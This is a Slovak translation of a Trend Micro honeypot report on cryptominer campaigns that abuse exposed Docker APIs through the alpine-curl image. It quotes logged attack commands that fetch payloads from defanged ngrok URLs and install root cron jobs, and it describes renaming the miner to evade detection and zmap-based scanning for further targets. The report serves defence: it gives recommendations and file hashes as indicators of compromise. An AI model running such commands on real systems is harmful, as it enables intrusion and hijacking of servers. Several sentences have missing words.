
Analyzovali sme údaje zozbierané pomocou kontajnerov honeypot, ktoré sme vytvorili na sledovanie hrozieb. A zistili sme významnú aktivitu od nechcených alebo neautorizovaných ťažiarov kryptomien nasadených ako nečestné kontajnery pomocou obrázka publikovaného komunitou na Docker Hub. Obrázok sa používa ako súčasť služby, ktorá poskytuje škodlivých ťažiarov kryptomien.
Okrem toho sú nainštalované programy na prácu so sieťami, aby prenikli do otvorených susedných kontajnerov a aplikácií.
Naše honeypoty nechávame tak, ako sú, teda s predvolenými nastaveniami, bez akýchkoľvek bezpečnostných opatrení či následnej inštalácie dodatočného softvéru. Upozorňujeme, že Docker má odporúčania pre počiatočné nastavenie, aby sa predišlo chybám a jednoduchým zraniteľnostiam. Ale používané honeypoty sú kontajnery určené na detekciu útokov zameraných na kontajnerovú platformu, nie na aplikácie vo vnútri kontajnerov.
Zistená škodlivá aktivita je tiež pozoruhodná, pretože nevyžaduje zraniteľné miesta a je tiež nezávislá od verzie Docker. Nájsť nesprávne nakonfigurovaný, a teda otvorený obraz kontajnera, je všetko, čo útočníci potrebujú na infikovanie mnohých otvorených serverov.
Neuzavreté Docker API umožňuje užívateľovi vykonávať širokú škálu , vrátane získania zoznamu spustených kontajnerov, získania protokolov z konkrétneho kontajnera, spustenia, zastavenia (vrátane vynúteného) a dokonca vytvorenia nového kontajnera z konkrétneho obrázka so špecifikovanými nastaveniami.

Vľavo je spôsob doručenia škodlivého softvéru. Vpravo je prostredie útočníka, ktoré umožňuje vzdialené sťahovanie obrázkov.

Distribúcia 3762 otvorených rozhraní API Docker podľa krajiny. Na základe vyhľadávania Shodan zo dňa 12.02.2019
Možnosti útočnej reťaze a užitočného zaťaženia
Škodlivá aktivita bola odhalená nielen pomocou honeypotov. Údaje zo spoločnosti Shodan ukazujú, že počet odhalených rozhraní API Docker (pozri druhý graf) sa zvýšil, pretože sme skúmali nesprávne nakonfigurovaný kontajner používaný ako most na nasadenie softvéru na ťažbu kryptomien Monero. V októbri minulého roka (2018, aktuálne údaje približne. prekladateľ) bolo iba 856 otvorených rozhraní API.
Skúmanie protokolov honeypotu ukázalo, že použitie obrázkov kontajnera bolo tiež spojené s použitím , nástroj na vytváranie bezpečných spojení alebo presmerovanie prevádzky z verejne prístupných bodov na určené adresy alebo zdroje (napríklad localhost). To umožňuje útočníkom dynamicky vytvárať adresy URL pri doručovaní užitočného zaťaženia na otvorený server. Nižšie sú uvedené príklady kódov z denníkov, ktoré ukazujú zneužívanie služby ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Ako vidíte, nahrané súbory sa sťahujú z neustále sa meniacich adries URL. Tieto adresy URL majú krátky dátum vypršania platnosti, takže po dátume vypršania platnosti nie je možné sťahovať užitočné údaje.
Existujú dve možnosti užitočného zaťaženia. Prvou je skompilovaný miner vo formáte ELF pre Linux (identifikovaný ako Coinminer.SH.MALXMR.ATNO), ktorý sa pripája k ťažobnému poolu. Druhým je skript (TrojanSpy.SH.ZNETMAP.A), určený na získanie určitých sieťových nástrojov používaných na skenovanie sieťových rozsahov a následné vyhľadávanie nových cieľov.
Skript dropper nastaví dve premenné, ktoré sa potom použijú na nasadenie ťažiara kryptomien. Premenná HOST obsahuje adresu URL, kde sa nachádzajú škodlivé súbory, a premenná RIP je názov súboru (v skutočnosti hash) baníka, ktorý sa má nasadiť. Premenná HOST sa mení pri každej zmene hash premennej. Skript sa tiež snaží skontrolovať, či na napadnutom serveri nebežia žiadni iní baníci kryptomien.

Príklady premenných HOST a RIP, ako aj útržok kódu, ktorý sa používa na kontrolu, či nie sú spustené žiadne iné minery
Pred spustením ťažobného nástroja sa premenuje na nginx. Iné verzie tohto skriptu premenujú ťažobný nástroj na iné legitímne služby, ktoré môžu byť prítomné v prostredí. LinuxTo zvyčajne stačí na obídenie kontrol v zozname spustených procesov.
Vyhľadávací skript má tiež funkcie. Spolupracuje s rovnakou službou URL na nasadenie potrebných nástrojov. Medzi nimi je binárna zmap, ktorá slúži na skenovanie sietí a získanie zoznamu otvorených portov. Skript tiež načíta ďalší binárny súbor, ktorý sa používa na interakciu s nájdenými službami a prijímanie bannerov na určenie ďalších informácií o nájdenej službe (napríklad jej verziu).
Skript tiež vopred určuje niektoré rozsahy siete na skenovanie, ale to závisí od verzie skriptu. Pred spustením kontroly tiež nastaví cieľové porty zo služieb – v tomto prípade Docker.
Keď sa nájdu potenciálne ciele, bannery sa z nich automaticky odstránia. Skript tiež filtruje ciele na základe služieb, aplikácií, komponentov alebo platforiem, o ktoré má záujem: Redis, Jenkins, Drupal, MODX, , klient Docker 1.16 a Apache CouchDB. Ak sa naskenovaný server zhoduje s niektorou z nich, uloží sa do textového súboru, ktorý môžu útočníci neskôr použiť na následnú analýzu a hacknutie. Tieto textové súbory sa nahrávajú na servery útočníkov prostredníctvom dynamických odkazov. To znamená, že pre každý súbor sa používa samostatná adresa URL, čo znamená, že následný prístup je zložitý.
Vektor útoku je obrázok Docker, ako je možné vidieť na nasledujúcich dvoch častiach kódu.

V hornej časti je premenovanie na legitímnu službu a v dolnej časti je spôsob, akým sa zmap používa na skenovanie sietí

V hornej časti sú preddefinované rozsahy sietí, v dolnej časti sú konkrétne porty na vyhľadávanie služieb vrátane Dockeru

Snímka obrazovky ukazuje, že obrázok alpskej kučery bol stiahnutý viac ako 10 miliónov krát
Na základe Alpine Linux a curl, nástroj CLI efektívne využívajúci zdroje na prenos súborov cez rôzne protokoly, je možné skompilovať . Ako môžete vidieť na predchádzajúcom obrázku, tento obrázok bol stiahnutý už viac ako 10 miliónov krát. Veľký počet stiahnutí môže znamenať použitie tohto obrázka ako vstupného bodu; tento obrázok bol aktualizovaný pred viac ako šiestimi mesiacmi; používatelia nesťahovali iné obrázky z tohto úložiska tak často. V Dockeri - súbor inštrukcií používaných na konfiguráciu kontajnera na jeho spustenie. Ak sú nastavenia vstupného bodu nesprávne (napríklad kontajner zostane otvorený z internetu), obrázok možno použiť ako vektor útoku. Útočníci ho môžu použiť na doručenie užitočného zaťaženia, ak zistia, že nesprávne nakonfigurovaný alebo otvorený kontajner zostal nepodporovaný.
Je dôležité poznamenať, že tento obrázok (alpine-curl) sám o sebe nie je škodlivý, ale ako môžete vidieť vyššie, môže byť použitý na vykonávanie škodlivých funkcií. Podobné obrázky Docker je možné použiť aj na vykonávanie škodlivých činností. Kontaktovali sme spoločnosť Docker a spolupracovali sme s ňou na tomto probléme.
Odporúčanie
zvyšky pre mnohé spoločnosti, najmä tie, ktoré implementujú , zameraný na rýchly vývoj a dodávku. Všetko sťažuje nutnosť dodržiavať pravidlá auditu a monitorovania, potreba monitorovať dôvernosť údajov, ako aj obrovské škody z ich nedodržiavania. Začlenenie automatizácie zabezpečenia do životného cyklu vývoja vám nielen pomôže nájsť bezpečnostné diery, ktoré by inak mohli zostať neodhalené, ale tiež vám pomôže znížiť zbytočnú pracovnú záťaž, ako je napríklad spúšťanie dodatočných verzií softvéru pre každú objavenú zraniteľnosť alebo nesprávnu konfiguráciu po nasadení aplikácie.
Incident, o ktorom sa hovorí v tomto článku, zdôrazňuje potrebu brať do úvahy bezpečnosť od začiatku vrátane nasledujúcich odporúčaní:
- Pre systémových administrátorov a vývojárov: Vždy skontrolujte nastavenia rozhrania API, aby ste sa uistili, že všetko je nakonfigurované tak, aby prijímalo iba požiadavky z konkrétneho servera alebo internej siete.
- Dodržiavajte zásadu najmenších práv: zabezpečte, aby boli obrázky kontajnerov podpísané a overené, obmedzte prístup ku kritickým komponentom (služba spúšťania kontajnerov) a pridajte šifrovanie do sieťových pripojení.
- Sledujte a umožniť bezpečnostné mechanizmy, napr. a vstavané .
- Použite automatizované skenovanie runtime a obrázkov na získanie ďalších informácií o procesoch spustených v kontajneri (napríklad na detekciu spoofingu alebo vyhľadávanie zraniteľností). Kontrola aplikácií a monitorovanie integrity pomáhajú sledovať abnormálne zmeny na serveroch, súboroch a systémových oblastiach.
Trendmicro pomáha tímom DevOps bezpečne budovať, rýchlo zavádzať a spúšťať kdekoľvek. Trend Micro Poskytuje výkonné, efektívne a automatizované zabezpečenie v rámci kanála DevOps organizácie a poskytuje ochranu pred viacerými hrozbami na ochranu fyzickej, virtuálnej a cloudovej pracovnej záťaže za behu. Pridáva tiež bezpečnosť kontajnera s и , ktoré skenujú obrázky kontajnerov Docker na prítomnosť škodlivého softvéru a zraniteľností v ktoromkoľvek bode vývojového procesu, aby sa predišlo hrozbám ešte pred ich nasadením.
Známky kompromisu
Súvisiace hash:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Na Cvičiaci rečníci ukazujú, aké nastavenia je potrebné vykonať ako prvé, aby sa minimalizovala pravdepodobnosť alebo sa úplne vyhli vyššie opísanej situácii. A to 19. – 21. augusta na online intenzívnej Tieto a podobné bezpečnostné problémy môžete diskutovať s kolegami a cvičnými učiteľmi pri okrúhlom stole, kde sa každý môže ozvať a vypočuť si bolesti a úspechy skúsených kolegov.
Zdroj: hab.com
